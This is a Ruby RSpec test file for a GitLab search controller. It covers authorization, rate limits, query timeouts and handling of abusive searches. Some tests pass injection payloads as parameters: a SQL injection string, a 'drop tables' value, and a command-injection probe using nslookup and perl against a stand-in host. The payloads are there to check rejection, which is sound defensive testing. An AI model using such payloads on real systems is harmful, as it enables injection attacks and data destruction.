492 lines
18 KiB
Ruby
492 lines
18 KiB
Ruby
# frozen_string_literal: true
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require 'spec_helper'
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RSpec.describe SearchController do
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include ExternalAuthorizationServiceHelpers
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context 'authorized user' do
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let(:user) { create(:user) }
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before do
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sign_in(user)
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end
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shared_examples_for 'when the user cannot read cross project' do |action, params|
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before do
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allow(Ability).to receive(:allowed?).and_call_original
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allow(Ability).to receive(:allowed?)
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.with(user, :read_cross_project, :global) { false }
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end
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it 'blocks access without a project_id' do
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get action, params: params
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expect(response).to have_gitlab_http_status(:forbidden)
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end
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it 'allows access with a project_id' do
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get action, params: params.merge(project_id: create(:project, :public).id)
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expect(response).to have_gitlab_http_status(:ok)
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end
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end
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shared_examples_for 'with external authorization service enabled' do |action, params|
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let(:project) { create(:project, namespace: user.namespace) }
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let(:note) { create(:note_on_issue, project: project) }
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before do
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enable_external_authorization_service_check
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end
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it 'renders a 403 when no project is given' do
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get action, params: params
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expect(response).to have_gitlab_http_status(:forbidden)
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end
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it 'renders a 200 when a project was set' do
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get action, params: params.merge(project_id: project.id)
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expect(response).to have_gitlab_http_status(:ok)
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end
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end
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shared_examples_for 'support for active record query timeouts' do |action, params, method_to_stub, format|
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before do
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allow_next_instance_of(SearchService) do |service|
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allow(service).to receive(method_to_stub).and_raise(ActiveRecord::QueryCanceled)
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end
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end
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it 'renders a 408 when a timeout occurs' do
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get action, params: params, format: format
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expect(response).to have_gitlab_http_status(:request_timeout)
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end
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end
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describe 'GET #show', :snowplow do
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it_behaves_like 'when the user cannot read cross project', :show, { search: 'hello' } do
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it 'still allows accessing the search page' do
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get :show
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expect(response).to have_gitlab_http_status(:ok)
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end
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end
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it_behaves_like 'with external authorization service enabled', :show, { search: 'hello' }
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it_behaves_like 'support for active record query timeouts', :show, { search: 'hello' }, :search_objects, :html
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context 'uses the right partials depending on scope' do
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using RSpec::Parameterized::TableSyntax
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render_views
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let_it_be(:project) { create(:project, :public, :repository, :wiki_repo) }
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before do
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expect(::Gitlab::GitalyClient).to receive(:allow_ref_name_caching).and_call_original
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end
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subject { get(:show, params: { project_id: project.id, scope: scope, search: 'merge' }) }
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where(:partial, :scope) do
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'_blob' | :blobs
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'_wiki_blob' | :wiki_blobs
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'_commit' | :commits
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end
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with_them do
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it do
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project_wiki = create(:project_wiki, project: project, user: user)
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create(:wiki_page, wiki: project_wiki, title: 'merge', content: 'merge')
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expect(subject).to render_template("search/results/#{partial}")
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end
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end
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end
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context 'global search' do
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using RSpec::Parameterized::TableSyntax
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render_views
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context 'when block_anonymous_global_searches is disabled' do
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before do
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stub_feature_flags(block_anonymous_global_searches: false)
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end
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it 'omits pipeline status from load' do
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project = create(:project, :public)
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expect(Gitlab::Cache::Ci::ProjectPipelineStatus).not_to receive(:load_in_batch_for_projects)
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get :show, params: { scope: 'projects', search: project.name }
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expect(assigns[:search_objects].first).to eq project
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end
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context 'check search term length' do
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let(:search_queries) do
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char_limit = Gitlab::Search::Params::SEARCH_CHAR_LIMIT
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term_limit = Gitlab::Search::Params::SEARCH_TERM_LIMIT
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term_char_limit = Gitlab::Search::AbuseDetection::ABUSIVE_TERM_SIZE
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{
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chars_under_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit],
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chars_over_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit + 1],
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terms_under_limit: ('abc ' * (term_limit - 1)),
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terms_over_limit: ('abc ' * (term_limit + 1)),
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term_length_over_limit: ('a' * (term_char_limit + 1)),
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term_length_under_limit: ('a' * (term_char_limit - 1))
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}
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end
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where(:string_name, :expectation) do
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:chars_under_limit | :not_to_set_flash
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:chars_over_limit | :set_chars_flash
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:terms_under_limit | :not_to_set_flash
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:terms_over_limit | :set_terms_flash
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:term_length_under_limit | :not_to_set_flash
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:term_length_over_limit | :not_to_set_flash # abuse, so do nothing.
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end
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with_them do
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it do
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get :show, params: { scope: 'projects', search: search_queries[string_name] }
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case expectation
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when :not_to_set_flash
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expect(controller).not_to set_flash[:alert]
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when :set_chars_flash
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expect(controller).to set_flash[:alert].to(/characters/)
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when :set_terms_flash
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expect(controller).to set_flash[:alert].to(/terms/)
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end
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end
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end
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end
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end
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context 'when block_anonymous_global_searches is enabled' do
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context 'for unauthenticated user' do
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before do
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sign_out(user)
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end
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it 'redirects to login page' do
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get :show, params: { scope: 'projects', search: '*' }
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expect(response).to redirect_to new_user_session_path
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end
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it 'redirects to login page when trying to circumvent the restriction' do
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get :show, params: { scope: 'projects', project_id: non_existing_record_id, search: '*' }
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expect(response).to redirect_to new_user_session_path
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end
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end
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context 'for authenticated user' do
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it 'succeeds' do
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get :show, params: { scope: 'projects', search: '*' }
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expect(response).to have_gitlab_http_status(:ok)
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end
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end
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context 'handling abusive search_terms' do
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it 'succeeds but does NOT do anything' do
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get :show, params: { scope: 'projects', search: '*', repository_ref: '-1%20OR%203%2B640-640-1=0%2B0%2B0%2B1' }
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expect(response).to have_gitlab_http_status(:ok)
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expect(assigns(:search_results)).to be_a Gitlab::EmptySearchResults
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end
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end
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end
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context 'tab feature flags' do
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subject { get :show, params: { scope: scope, search: 'term' }, format: :html }
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where(:feature_flag, :scope) do
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:global_search_code_tab | 'blobs'
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:global_search_issues_tab | 'issues'
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:global_search_merge_requests_tab | 'merge_requests'
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:global_search_wiki_tab | 'wiki_blobs'
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:global_search_commits_tab | 'commits'
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:global_search_users_tab | 'users'
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end
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with_them do
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it 'returns 200 if flag is enabled' do
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stub_feature_flags(feature_flag => true)
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subject
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expect(response).to have_gitlab_http_status(:ok)
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end
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it 'redirects with alert if flag is disabled' do
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stub_feature_flags(feature_flag => false)
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subject
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expect(response).to redirect_to search_path
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expect(controller).to set_flash[:alert].to(/Global Search is disabled for this scope/)
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end
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end
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end
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end
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it 'finds issue comments' do
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project = create(:project, :public)
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note = create(:note_on_issue, project: project)
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get :show, params: { project_id: project.id, scope: 'notes', search: note.note }
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expect(assigns[:search_objects].first).to eq note
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end
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context 'unique users tracking' do
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before do
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allow(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event)
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end
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it_behaves_like 'tracking unique hll events' do
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subject(:request) { get :show, params: { scope: 'projects', search: 'term' } }
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let(:target_event) { 'i_search_total' }
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let(:expected_value) { instance_of(String) }
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end
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end
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it_behaves_like 'Snowplow event tracking' do
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let(:category) { described_class.to_s }
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let(:action) { 'i_search_total' }
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let(:namespace) { create(:group) }
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let(:feature_flag_name) { :route_hll_to_snowplow_phase2 }
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subject { get :show, params: { group_id: namespace.id, scope: 'blobs', search: 'term' } }
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end
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context 'on restricted projects' do
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context 'when signed out' do
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before do
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sign_out(user)
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end
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it "doesn't expose comments on issues" do
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project = create(:project, :public, :issues_private)
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note = create(:note_on_issue, project: project)
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get :show, params: { project_id: project.id, scope: 'notes', search: note.note }
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expect(assigns[:search_objects].count).to eq(0)
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end
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end
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it "doesn't expose comments on merge_requests" do
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project = create(:project, :public, :merge_requests_private)
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note = create(:note_on_merge_request, project: project)
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get :show, params: { project_id: project.id, scope: 'notes', search: note.note }
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expect(assigns[:search_objects].count).to eq(0)
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end
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it "doesn't expose comments on snippets" do
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project = create(:project, :public, :snippets_private)
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note = create(:note_on_project_snippet, project: project)
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get :show, params: { project_id: project.id, scope: 'notes', search: note.note }
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expect(assigns[:search_objects].count).to eq(0)
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end
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end
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it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
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let(:current_user) { user }
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def request
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get(:show, params: { search: 'foo@bar.com', scope: 'users' })
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end
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end
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end
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describe 'GET #count', :aggregate_failures do
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it_behaves_like 'when the user cannot read cross project', :count, { search: 'hello', scope: 'projects' }
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it_behaves_like 'with external authorization service enabled', :count, { search: 'hello', scope: 'projects' }
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it_behaves_like 'support for active record query timeouts', :count, { search: 'hello', scope: 'projects' }, :search_results, :json
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it 'returns the result count for the given term and scope' do
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create(:project, :public, name: 'hello world')
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create(:project, :public, name: 'foo bar')
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get :count, params: { search: 'hello', scope: 'projects' }
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expect(response).to have_gitlab_http_status(:ok)
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expect(json_response).to eq({ 'count' => '1' })
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end
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it 'raises an error if search term is missing' do
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expect do
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get :count, params: { scope: 'projects' }
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end.to raise_error(ActionController::ParameterMissing)
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end
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it 'raises an error if search scope is missing' do
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expect do
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get :count, params: { search: 'hello' }
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end.to raise_error(ActionController::ParameterMissing)
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end
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it 'sets private cache control headers' do
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get :count, params: { search: 'hello', scope: 'projects' }
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expect(response).to have_gitlab_http_status(:ok)
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expect(response.headers['Cache-Control']).to eq('max-age=60, private')
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end
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it 'does NOT blow up if search param is NOT a string' do
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get :count, params: { search: ['hello'], scope: 'projects' }
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expect(response).to have_gitlab_http_status(:ok)
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expect(json_response).to eq({ 'count' => '0' })
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get :count, params: { search: { nested: 'hello' }, scope: 'projects' }
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expect(response).to have_gitlab_http_status(:ok)
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expect(json_response).to eq({ 'count' => '0' })
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end
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it 'does NOT blow up if repository_ref contains abusive characters' do
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get :count, params: {
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search: 'hello',
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repository_ref: "(nslookup%20hitqlwv501f.somewhere.bad%7C%7Cperl%20-e%20%22gethostbyname('hitqlwv501f.somewhere.bad')%22)",
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scope: 'projects'
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}
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expect(response).to have_gitlab_http_status(:ok)
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expect(json_response).to eq({ 'count' => '0' })
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end
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it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
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let(:current_user) { user }
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def request
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get(:count, params: { search: 'foo@bar.com', scope: 'users' })
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end
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end
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end
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describe 'GET #autocomplete' do
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it_behaves_like 'when the user cannot read cross project', :autocomplete, { term: 'hello' }
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it_behaves_like 'with external authorization service enabled', :autocomplete, { term: 'hello' }
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it_behaves_like 'support for active record query timeouts', :autocomplete, { term: 'hello' }, :project, :json
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it 'returns an empty array when given abusive search term' do
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get :autocomplete, params: { term: ('hal' * 9000), scope: 'projects' }
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expect(response).to have_gitlab_http_status(:ok)
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expect(json_response).to match_array([])
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end
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it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit do
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let(:current_user) { user }
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def request
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get(:autocomplete, params: { term: 'foo@bar.com', scope: 'users' })
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end
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end
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end
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describe '#append_info_to_payload' do
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it 'appends search metadata for logging' do
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expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
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method.call(payload)
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expect(payload[:metadata]['meta.search.group_id']).to eq('123')
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expect(payload[:metadata]['meta.search.project_id']).to eq('456')
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expect(payload[:metadata]).not_to have_key('meta.search.search')
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expect(payload[:metadata]['meta.search.scope']).to eq('issues')
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expect(payload[:metadata]['meta.search.force_search_results']).to eq('true')
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expect(payload[:metadata]['meta.search.filters.confidential']).to eq('true')
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expect(payload[:metadata]['meta.search.filters.state']).to eq('true')
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expect(payload[:metadata]['meta.search.project_ids']).to eq(%w(456 789))
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expect(payload[:metadata]['meta.search.search_level']).to eq('multi-project')
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end
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get :show, params: { scope: 'issues', search: 'hello world', group_id: '123', project_id: '456', project_ids: %w(456 789), search_level: 'multi-project', confidential: true, state: true, force_search_results: true }
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end
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it 'appends the default scope in meta.search.scope' do
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expect(controller).to receive(:append_info_to_payload).and_wrap_original do |method, payload|
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method.call(payload)
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expect(payload[:metadata]['meta.search.scope']).to eq('projects')
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end
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get :show, params: { search: 'hello world', group_id: '123', project_id: '456' }
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end
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end
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context 'abusive searches', :aggregate_failures do
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let(:project) { create(:project, :public, name: 'hello world') }
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let(:make_abusive_request) do
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get :show, params: { scope: '1;drop%20tables;boom', search: 'hello world', project_id: project.id }
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end
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before do
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enable_external_authorization_service_check
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end
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it 'returns EmptySearchResults' do
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expect(Gitlab::EmptySearchResults).to receive(:new).and_call_original
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make_abusive_request
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expect(response).to have_gitlab_http_status(:ok)
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end
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context 'when the feature flag is disabled' do
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before do
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stub_feature_flags(prevent_abusive_searches: false)
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end
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it 'returns a regular search result' do
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expect(Gitlab::EmptySearchResults).not_to receive(:new)
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make_abusive_request
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expect(response).to have_gitlab_http_status(:ok)
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end
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end
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end
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end
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context 'unauthorized user' do
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describe 'search rate limits' do
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using RSpec::Parameterized::TableSyntax
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let(:project) { create(:project, :public) }
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where(:endpoint, :params) do
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:show | { search: 'hello', scope: 'projects' }
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:count | { search: 'hello', scope: 'projects' }
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:autocomplete | { term: 'hello', scope: 'projects' }
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end
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with_them do
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it_behaves_like 'rate limited endpoint', rate_limit_key: :search_rate_limit_unauthenticated do
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def request
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get endpoint, params: params.merge(project_id: project.id)
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end
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end
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end
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end
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describe 'GET #opensearch' do
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render_views
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it 'renders xml' do
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get :opensearch, format: :xml
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doc = Nokogiri::XML.parse(response.body)
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expect(response).to have_gitlab_http_status(:ok)
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expect(doc.css('OpenSearchDescription ShortName').text).to eq('GitLab')
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expect(doc.css('OpenSearchDescription *').map(&:name)).to eq(%w[ShortName Description InputEncoding Image Url SearchForm])
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end
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end
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end
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end
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